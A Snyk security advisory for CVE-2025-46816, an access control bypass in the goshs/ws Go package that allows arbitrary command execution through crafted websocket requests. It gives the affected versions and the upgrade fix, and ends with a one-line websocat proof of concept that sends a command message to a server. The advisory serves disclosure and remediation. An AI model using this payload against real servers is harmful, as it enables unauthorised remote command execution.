Access Control Bypass Affecting github.com/patrickhener/goshs/ws package, versions >=0.3.4 <1.0.5


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (10th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Access Control Bypass vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMPATRICKHENERGOSHSWS-10350388
  • published13 Jun 2025
  • disclosed6 May 2025
  • creditGuilhem7

Introduced: 6 May 2025

CVE-2025-46816  (opens in a new tab)
CWE-284  (opens in a new tab)
CWE-77  (opens in a new tab)

How to fix?

Upgrade github.com/patrickhener/goshs/ws to version 1.0.5 or higher.

Overview

Affected versions of this package are vulnerable to Access Control Bypass through the dispatchReadPump function. An attacker can execute arbitrary commands by sending specially crafted websocket requests.

PoC

echo -e '{"type": "command", "content": "id"}' |./websocat 'ws://192.168.1.11:8000/?ws' -t

References

CVSS Base Scores

version 4.0
version 3.1